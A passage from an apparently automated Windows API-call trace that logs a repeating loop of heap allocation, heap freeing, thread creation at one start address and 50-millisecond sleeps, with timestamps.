lpThreadId=0x0) returned 0x1194 [0103.887] Sleep (dwMilliseconds=0x32) [0104.011] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0104.011] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0104.011] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0104.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f8 [0104.012] Sleep (dwMilliseconds=0x32) [0104.120] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0104.120] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0104.120] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0104.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170 [0104.120] Sleep (dwMilliseconds=0x32) [0104.216] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0104.216] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0104.216] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0104.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1228 [0104.217] Sleep (dwMilliseconds=0x32) [0104.317] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0104.317] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0104.318] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0104.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1248 [0104.322] Sleep (dwMilliseconds=0x32) [0104.637] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0104.637] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0104.637] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0104.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12d4 [0104.638] Sleep (dwMilliseconds=0x32) [0104.806] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0104.806] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0104.806] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0104.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1314 [0104.807] Sleep (dwMilliseconds=0x32) [0104.927] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0104.927] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0104.927] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0104.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1334 [0104.928] Sleep (dwMilliseconds=0x32) [0105.048] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0105.048] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0105.048] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0105.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1348 [0105.049] Sleep (dwMilliseconds=0x32) [0105.134] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0105.134] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0105.134] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0105.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x133c [0105.134] Sleep (dwMilliseconds=0x32) [0105.227] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0105.227] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0105.228] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0105.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130c [0105.228] Sleep (dwMilliseconds=0x32) [0105.331] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0105.331] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0105.331] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0105.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f8 [0105.332] Sleep (dwMilliseconds=0x32) [0105.419] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0105.419] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0105.419] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0105.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c8 [0105.420] Sleep (dwMilliseconds=0x32) [0105.523] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0105.523] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0105.523] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0105.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13e8 [0105.524] Sleep (dwMilliseconds=0x32) [0105.617] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0105.617] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0105.617] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0105.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140c [0105.618] Sleep (dwMilliseconds=0x32) [0105.711] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0105.711] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0105.711] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0105.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x142c [0105.712] Sleep (dwMilliseconds=0x32) [0105.804] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0105.804] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0105.804] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0105.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144c [0105.805] Sleep (dwMilliseconds=0x32) [0105.898] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0105.898] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0105.898] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0105.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1478 [0105.898] Sleep (dwMilliseconds=0x32) [0105.991] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0105.991] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0105.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0105.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1498 [0105.992] Sleep (dwMilliseconds=0x32) [0106.085] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0106.085] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0106.085] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0106.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b8 [0106.085] Sleep (dwMilliseconds=0x32) [0106.165] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0106.165] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0106.166] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0106.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d8 [0106.166] Sleep (dwMilliseconds=0x32) [0106.262] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0106.262] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0106.262] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0106.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d0 [0106.263] Sleep (dwMilliseconds=0x32) [0106.334] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0106.334] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0106.334] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0106.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1490 [0106.335] Sleep (dwMilliseconds=0x32) [0106.428] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0106.428] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0106.428] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0106.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1434 [0106.429] Sleep (dwMilliseconds=0x32) [0106.508] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0106.508] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0106.508] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0106.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f0 [0106.509] Sleep (dwMilliseconds=0x32) [0106.600] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0106.600] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0106.600] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0106.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1374 [0106.600] Sleep (dwMilliseconds=0x32) [0106.724] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0106.724] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0106.724] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0106.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1388 [0106.725] Sleep (dwMilliseconds=0x32) [0106.850] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0106.850] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0106.850] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0106.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12f0 [0106.850] Sleep (dwMilliseconds=0x32) [0107.752] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0107.752] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0107.752] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0107.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11fc [0107.753] Sleep (dwMilliseconds=0x32) [0108.004] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0108.004] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0108.004] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0108.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1718 [0108.004] Sleep (dwMilliseconds=0x32) [0108.127] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0108.127] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0108.127] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0108.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1738 [0108.128] Sleep (dwMilliseconds=0x32) [0108.242] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0108.242] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0108.242] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0108.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174c [0108.243] Sleep (dwMilliseconds=0x32) [0108.332] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0108.332] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0108.332] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0108.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1740 [0108.333] Sleep (dwMilliseconds=0x32) [0108.445] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0108.445] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0108.445] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0108.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x172c [0108.446] Sleep (dwMilliseconds=0x32) [0108.551] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0108.551] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0108.551] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0108.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1714 [0108.552] Sleep (dwMilliseconds=0x32) [0108.646] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0108.646] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0108.646] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0108.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a8 [0108.647] Sleep (dwMilliseconds=0x32) [0108.778] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0108.778] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0108.778] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0108.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1700 [0108.779] Sleep (dwMilliseconds=0x32) [0108.879] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0108.879] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0108.879] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0108.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d4 [0108.880] Sleep (dwMilliseconds=0x32) [0108.997] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0108.997] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0108.997] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0108.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d0 [0108.997] Sleep (dwMilliseconds=0x32) [0109.080] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0109.080] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0109.080] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0109.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x169c [0109.081] Sleep (dwMilliseconds=0x32) [0109.174] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0109.174] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0109.174] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0109.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1694 [0109.175] Sleep (dwMilliseconds=0x32) [0109.268] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0109.268] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0109.268] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0109.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x166c [0109.269] Sleep (dwMilliseconds=0x32) [0109.408] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0109.408] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0109.408] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0109.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x165c [0109.409] Sleep (dwMilliseconds=0x32) [0109.502] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0109.502] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0109.502] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0109.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1654 [0109.502] Sleep (dwMilliseconds=0x32) [0109.595] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0109.595] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0109.595] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0109.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1634 [0109.596] Sleep (dwMilliseconds=0x32) [0109.689] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0109.689] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0109.689] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0109.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160c [0109.689] Sleep (dwMilliseconds=0x32) [0109.752] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0109.752] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0109.752] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0109.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15fc [0109.753] Sleep (dwMilliseconds=0x32) [0109.845] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0109.845] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0109.845] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0109.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f4 [0109.846] Sleep (dwMilliseconds=0x32) [0109.938] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0109.938] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0109.939] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0109.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15cc [0109.939] Sleep (dwMilliseconds=0x32) [0110.032] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0110.032] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0110.032] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0110.032] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15bc [0110.033] Sleep (dwMilliseconds=0x32) [0110.152] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0110.152] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: 